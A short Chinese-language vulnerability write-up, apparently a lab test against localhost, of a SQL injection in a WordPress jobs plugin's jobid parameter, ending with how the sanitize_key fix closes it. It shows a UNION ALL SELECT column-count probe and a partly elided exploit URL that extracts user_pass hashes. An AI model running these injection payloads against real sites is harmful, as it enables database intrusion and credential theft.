测试如下:
http://localhost:80/cve/wp-admin/edit.php?...post_type=job&page=WPJobsJobApps&jobid=11
UNION ALL SELECT NULL,NULL,NULL,NULL,NULL-- admin
当字段数为6的时候,返回特殊页面...尝试查看数据库版本:
成功查询。
最终可构造的EXP的如下:
http://localhost:80/cve/wp-admin/edit.php?...AS
CHAR),0x20),0x7430306c73,IFNULL(CAST(user_pass AS
CHAR),0x20),0x70616e6461),NULL,NULL,NULL,NULL FROM...>
可以看到官方对于jobid加了一个wordpress自带函数sanitize_key来过滤特殊字符,使jobid的参数只允许包含数字和字母,破折号和下划线,从而修复了SQL注入漏洞。